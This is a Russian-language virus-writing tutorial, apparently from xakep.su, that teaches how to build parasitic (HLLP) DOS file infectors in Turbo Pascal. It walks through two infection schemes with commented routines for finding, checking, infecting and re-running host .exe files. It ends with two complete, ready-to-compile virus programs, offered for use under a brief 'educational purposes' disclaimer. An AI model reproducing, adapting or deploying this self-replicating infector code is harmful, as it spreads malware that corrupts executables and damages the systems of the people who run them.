В целом принципы работы HLLP вирей, как и остальных типов, я весьма, дотошно рассмотрел в уроке 2, но дабы не заставлять вас снова перечитывать ту статью, я приведу эти принципы заново. Не посчитайте это оффтопом, так как в целом статья будет весьма содержательной и эти мелкие повторения моих же слов, добавят ей читабельности, что очень важно для статьи, делающей упор на принцип. [OFFTOP=http://xakep.su/7-fajjlovye-virusy-urok-2.html] - HLLP (Parasitic) – Паразит… Заражение и запуск у этих вирей происходит в основном двумя способами: 1 способ. Заражение: Вирус копирует себя во временную папку с временным именем, далее копирует в конец того временного файла тело жертвы, а затем удаляет жертву а временный файл переименует в имя жертвы. Есть второй вариант этого заражение, он не требует временного файла, при нём выделяется два буфера – в первый считывается тело виря, а во второй – тело жертвы, а затем эти буферы с перезаписью пишутся в файл. Т.о. после заражения, файл выглядит примерно так: 1байт виря…..Последний (VirSize) байт виря, 1байт жертвы…... Последний байт жертвы. Запуск: При запуске зараженного файла, ясен пень, запускается вирус, находит ещё жертвы, заражает их, а затем из себя извлекает тело жертвы во временный файл и запускает его. Так же можно запустить прогу непосредственно в память из себя, об этом будет в примерах рассказываться в других уроках. В вирусах на языках DOS возможно просто изменить свою прогу в режиме, пока она запущена и некоторые вири просто для запуска жекртвы удаляют себя из жертвы и запускают её, красивый способ, и он так же будет рассмотрен, как и все другие, со временем конечно.
2 способ. Заражение: Этот способ заражение красивее первого в том отношении, что не требуется создание временного файла при заражении, или выделение крупных буферов для тела жертвы. Способ заключается в том, что сначала у жертвы копируется кусок из начала в конец размером, как вирус, а затем на место первых VirSize байт жертвы пишется тело виря. Т.о. после заражения, файл выглядит примерно так: 1байт виря…..Последний (VirSize) байт виря, VirSize+1 байт жертвы…Последний байт жертвы, 1 байт жертвы… VirSize байт жертвы. (т.е. 3 фрагмента) Запуск: С запуском в общем-то нет ни каких проблем, он делается теми же фишками, что и в первом способе, только с поправкой на то что тело жертвы необходимо восстановить, а именно сначала взять кусок из конца (1 фрагмент жертвы), а затем кусок идущий после виря (2 фрагмент жертвы).. [/OFFTOP] . Надеюсь, что-то из, выше сказанного, засело вам на корке мозга, так что предлагаю перейти к реализации. . По накатанной схеме, думаю, стоит, опять определиться с основными функциональными моментами этого типа вирусов: - Процедура поиска жертв (FindFile) - Процедура проверки заражённости (CheckInfect) - Процедура заражения жертв (Infect) - Процедура запуска жертвы из себя (InRun)
Для начала напишем процедуру заражения первого и второго типа: 1 тип заражения – смещения жертвы в конец. const VirSize=2864;//Размер вируса Procedure Infect(path : string);//Передаём процедуре путь к жертве var F1,F2 : file;//Файловые переменные NR,NW : Word;//Переменные пересчёта BufVir : array[1..VirSize] of Char;//Буфер для передачи виря в одном буфере Buf : array[1..2048] of Char;//Буфер для передачи жертвы begin Assign(F1, ParamStr(0));//Ассоциируем F1 с путём к себе Reset(F1, 1);//Открываем себя Assign(F2, '$$$');//Ассоциируем F2 с путём к временному файлу Rewrite(F2, 1);//Открываем с созданием временный файл BlockRead(F1, BufVir, VirSize, NR);//Читаем себя в буфер BlockWrite(F2, BufVir, NR);//Пишем себя в файл Close(F1);//Закрываем себя Assign(F1, path);//Ассоциируем F1 с путём к жертве Reset(F1, 1);//Открываем жертву repeat BlockRead(F1, Buf, SizeOf(Buf), NR); BlockWrite(F2, Buf, NR, NW); until (NR = 0) or (NW <> NR);//Цикл копирования жертвы в конец временного файла Close(F1);//Закрытие жертвы Erase(F1);//Удаление жертвы Close(F2);//Закрытие временного файла Rename(F2,path);//Переименование временного файла в имя жертвы end;
2 тип заражения – перенос из начала фрагмента жертвы в конец и перезапись начала телом вируса
const VirSize=3072;//Размер вируса Procedure Infect(path : string);// Передаём процедуре путь к жертве var F1,F2 : file;//Фйловые переменные NR : Word; BufVir : array[1..VirSize] of Char;//Буфер переноса фрагмента жертвы и тела вируса begin Assign(F1, path);//Ассоциируем переменную F1 с путём к жертве Reset(F1, 1);//Открываем жертву BlockRead(F1, BufVir, VirSize, NR);//Читаем VirSize байт жертвы в начале seek(F1,FileSize(F1));//Переходим в конец жертвы BlockWrite(F1, BufVir, NR);//Пишем буфер – жертва стала больше на VirSize Assign(F2, ParamStr(0));//Ассоциируем F2 с путём к себе Reset(F2, 1);//Открываем себя BlockRead(F2, BufVir, VirSize, NR);//Читаем себя в буфер seek(F1,0);//Переходим в начало жертвы BlockWrite(F1, BufVir, NR);//Пишем себя с перезаписью в начало Close(F1);//Закрываем жертву Close(F2);//Закрываем себя end;
. Я думаю, что все обратили внимания, что второй способ, значительно перспективней, т.к., он намного быстрей, т.к. не требуется создание временного файла, удаления жертвы и копирования большого тела жертвы. Необходимо, всего лишь перенести буфер размером VirSize два раза. Да и реализация, намного менее запутанная. В целом, считаю рациональным применять только этот метод заражения, но т.к. это теоретический обзор, то считаю нужным рассмотреть оба метода. Плавно переходим дальше… . Процедура проверки заражённости файла, будет брать как бы сигнатуру своего файла и проверять её наличие в теле жертвы, если нет – заражаем, если есть – пропускаем (мы же не хотим испортить файл). Так, или примерно так будет выглядить функция проверки зараженности на Turbo Pascal эта функция единая для обоих типов HLLP вируса, этот метод в общем-то не самый простой, но весьма надёжный: function CheckInfect(path : string):boolean;{Функции передаётся параметр – путь к файлу} const SignSize = 8;{Размер сигнатуры} SignPos = 666;{Позиция начала сигнатуры} type Bufer = array [1..SignSize] of char;{Тип – буфера чтения сигнатуры} var b : boolean;{промежуточная переменная} F1 : file;{файловая переменная для себя} F2 : file;{файловая переменная для жертвы} SignBuf : Bufer;{Буфер сигнатуры} VictBuf : Bufer;{Буфер сигнатуры жертвы} begin Assign(F1, Paramstr(0));{Ассоциируем F1 с путём к себе} Assign(F2, path);{Ассоциируем F2 с путем к жертве} Reset(F1,1);{Открываем себя} Reset(F2,1);{Открываем жертву} seek(F1,SignPos);{Переходим в себе на позиция сигнатуры} seek(F2,SignPos);{Переходим в жертве на позицию сигнатуры} BlockRead(F1,SignBuf,SignSize);{Читаем сигнатуру в себе} BlockRead(F2,VictBuf,SignSize);{Читаем сигнатуру в жертве} if SignBuf<>VictBuf{если сигнатуры не равно то..} then b:=true else b:=false; Close(F1);{Закрываем себя} Close(F2);{Закрываем жертву} CheckInfect:=b;{Значение функции равно результату проверки равенства сигнатур} end;
. Как видите всё весьма просто.. Константы, размера и позиции сигнатуры, мы вибираем сами, это не очень критично – единственное ограничение – размер вируса (VirSize). . Теперь обмозгуем процедуру, восстановления и запуска жертвы из себя. Что нам требуется? - Проверить необходимость запуска – если вирус в чистом виде запуск не нужен. - Исходя из типа заражения, восстановить жертву до рабочего состояния. - Запустить жертву. . Соответственно, для обоих типов исходя из второго пункта, требуемых задач, эти процедуры будут выглядить, по-разному. . Процедура запуска жертвы (InRun) для типа заражения со смещением жертвы в конец (1 тип) будет в нашем тестовом зверьке выглядить так: Procedure InRun;{Ппоцедура запуска жертвы – без параметров} var f : file; NR : Word; NW : Word; tmp : file; Buf : array [1..2048] of Char; begin Assign(f,Paramstr(0));{Ассоциируем F с путем к себе} reset(f,1);{открываем себя} if FileSize(f)>VirSize then{если размер себя больше VirSize то..} begin Assign(tmp,’$$$.exe’);{Ассоциируем tmp с путем к временному файлу} rewrite(tmp,1);{открываем файл с созданием} seek(f,VirSize);{переходим в себе на позицию начала жертвы} repeat{Выполняем цикл переноса тела жертвы во временный файл} BlockRead(F, Buf, SizeOf(Buf), NR);{читаем буфер} BlockWrite(tmp, Buf, NR, NW);{пишем буфер} until (NR = 0) or (NW <> NR); Close(tmp);{закрываем tmp} exec(‘$$$.exe’,'');{запускаем жертву} Erase(tmp);{по завершению жертвой работы – удаляем tmp} end; Close(f);{закрываем себя} end;
. Недостаток этого типа в его запуске так же на лицо – необходимость временного файла для извлечения тела жертвы. А, если например, черное ДОСовское окно вируса будет убито до завершения работы жертвы, то временный файл не будет удалён – печально, но есть же и второй тип, который намного веселей, переходим к нему. . Процедура запуска жертвы для виря второго типа в моём нехитром исполнении имеет вид (слабонервным любителям виндячего программирования, строго запрещено юзать эту процедуру, т.к. по принципам винды поведение этой процедуры виглядит мягко говоря ужасающе): Procedure InRun;{Процедура запуска жертвы – без параметров} var f : file; NR : Word; Buf : array [1..VirSize] of Char; begin Assign(f,Paramstr(0));{Ассоциируем F с путем к себе} reset(f,1);{открываем себя} if FileSize(f)>VirSize then{если размер себя больше VirSize то..} begin seek(f,FileSize(f)-VirSize);{переходим на VirSize-ный с конца байт – начало перенесённого фрагмента} BlockRead(F, Buf, SizeOf(Buf), NR);{читаем весь фрагмент в буфер} seek(f,0);{переходим в начало себя} BlockWrite(F, Buf, NR);{в этом месте, каким-то чудесным образом, пишем в себя, то что было в конце – ужас!!!!} seek(f,FileSize(f)-VirSize);{переходим обратно в конец} TrunCate(f);{отрезаем в конце себя!!! Лишний кусок} Close(f);{закрываем себя – стоит обратить внимание, что после закрытия файла вируса уже нету в жертве))) – он сделал харакири – но успел наплодить нехилое количество приплода} exec(ParamStr(0),'');{Запускам… блин не могу смешно.. – себя!!!! Где можно, ещё такое встретить??} end else Close(f);{это место сработает если вирь запущен в чистом виде} end;
Я думаю, что мало кого не заулыбал этот метод запуска жертвы)) В общем-то как уже стало ясно, второй тип HLLP после запуска зараженной проги находит жертвы, а после этого удаляет себя из той проги в которой жил и запускает её))) Весьма отчаяный ход..
Основная часть вирусов – а это поиск файлов и своевременный вызов процедур и функций вируса, в моём случае реализовано для обоих типов одинаково. Вот этот код:
var sr:searchrec;{поисковая переменная} begin findfirst('*.exe',$39,sr);{поиск ехе с любыми атрибутами} while doserror=0 do{поиск до появления ошибки} begin if CheckInfect(sr.name){Если файл не заражён то…} then Infect(sr.name);{Заражаем} findnext(sr);{Ищем следующий} end; InRun;{Запуск жертвы } end.
. Ну в общем-то на этом я считаю разборку паскальных HLLP можно считать оконченной.. Ниже я приведу полностью готовые исходники описанных вирусов двух типов, разница между написанным выше будет в том, что здесь, я полностью оптимизировал переменные и типы, подобрал VirSize и устранил комментарии – если что-то не понятно смотрим коменты в статье..
1 тип вируса HLLP
Program VirusHLLP1_execom; {xakep.su} {$M 65520,0,0} uses dos; const VirSize = 4976; TmpName = '$$$.exe';
var Buf : array[1..2048] of Char;
function CheckInfect(path : string):boolean; const SignSize = 8; SignPos = 666; type Bufer = array [1..SignSize] of char; var b : boolean; F1 : file; F2 : file; SignBuf : Bufer; VictBuf : Bufer; begin Assign(F1, Paramstr(0)); Assign(F2, path); Reset(F1,1); Reset(F2,1); seek(F1,SignPos); seek(F2,SignPos); BlockRead(F1,SignBuf,SignSize); BlockRead(F2,VictBuf,SignSize); if SignBuf<>VictBuf then b:=true else b:=false; Close(F1); Close(F2); CheckInfect:=b; end;
Procedure Infect(path : string); var F1,F2 : file; NR,NW : Word; BufVir : array[1..VirSize] of Char; begin Assign(F1, ParamStr(0)); Reset(F1, 1); Assign(F2, TmpName); Rewrite(F2, 1); BlockRead(F1, BufVir, VirSize, NR); BlockWrite(F2, BufVir, NR); Close(F1); Assign(F1, path); Reset(F1, 1); repeat BlockRead(F1, Buf, SizeOf(Buf), NR); BlockWrite(F2, Buf, NR, NW); until (NR = 0) or (NW <> NR); Close(F1); Close(F2); Erase(F1); Rename(F2,path); end;
Procedure InRun; var f : file; NR : Word; NW : Word; tmp : file; begin Assign(f,Paramstr(0)); reset(f,1); if FileSize(f)>VirSize then begin Assign(tmp,TmpName); rewrite(tmp,1); seek(f,VirSize); repeat BlockRead(F, Buf, SizeOf(Buf), NR); BlockWrite(tmp, Buf, NR, NW); until (NR = 0) or (NW <> NR); Close(tmp); exec(TmpName,''); Erase(tmp); end; Close(f); end;
var sr:searchrec; begin findfirst('*.exe',$39,sr); while doserror=0 do begin if CheckInfect(sr.name) then Infect(sr.name); findnext(sr); end; InRun; end.
2 тип вируса HLLP
Program VirusHLLP2_execom; {xakep.su} {$M 65520,0,0} uses dos; const VirSize = 4832;
var BufVir : array[1..VirSize] of Char;
function CheckInfect(path : string):boolean; const SignSize = 8; SignPos = 666; type Bufer = array [1..SignSize] of char; var b : boolean; F1 : file; F2 : file; SignBuf : Bufer; VictBuf : Bufer; begin Assign(F1, Paramstr(0)); Assign(F2, path); Reset(F1,1); Reset(F2,1); seek(F1,SignPos); seek(F2,SignPos); BlockRead(F1,SignBuf,SignSize); BlockRead(F2,VictBuf,SignSize); if SignBuf<>VictBuf then b:=true else b:=false; Close(F1); Close(F2); CheckInfect:=b; end;
Procedure Infect(path : string); var F1,F2 : file; NR : Word; begin Assign(F1, path); Reset(F1, 1); BlockRead(F1, BufVir, VirSize, NR); seek(F1,FileSize(F1)); BlockWrite(F1, BufVir, NR); Assign(F2, ParamStr(0)); Reset(F2, 1); BlockRead(F2, BufVir, VirSize, NR); seek(F1,0); BlockWrite(F1, BufVir, NR); Close(F1); Close(F2); end;
Procedure InRun; var f : file; NR : Word; begin Assign(f,Paramstr(0)); reset(f,1); if FileSize(f)>VirSize then begin seek(f,FileSize(f)-VirSize); BlockRead(F, BufVir, SizeOf(BufVir), NR); seek(f,0); BlockWrite(F, BufVir, NR); seek(f,FileSize(f)-VirSize); TrunCate(f); Close(f); exec(ParamStr(0),''); end else Close(f); end;
var sr:searchrec; begin findfirst('*.exe',$39,sr); while doserror=0 do begin if CheckInfect(sr.name) then Infect(sr.name); findnext(sr); end; InRun; end.
. Первый тип вышел в 100 строку и вес ехе-шника 4976 байта, а второй соответственно 90 строк и 4832 байта, в общем, даже по этим параметрам второй тип заражения лучше и качественней.. Поэтому вам решать какой вам применять, а лучше конечно же приходить к чему-то своему, и не забывать о том что всё написанное в этом и других моих уроках исключительно в учебных целях..
xakep.su
|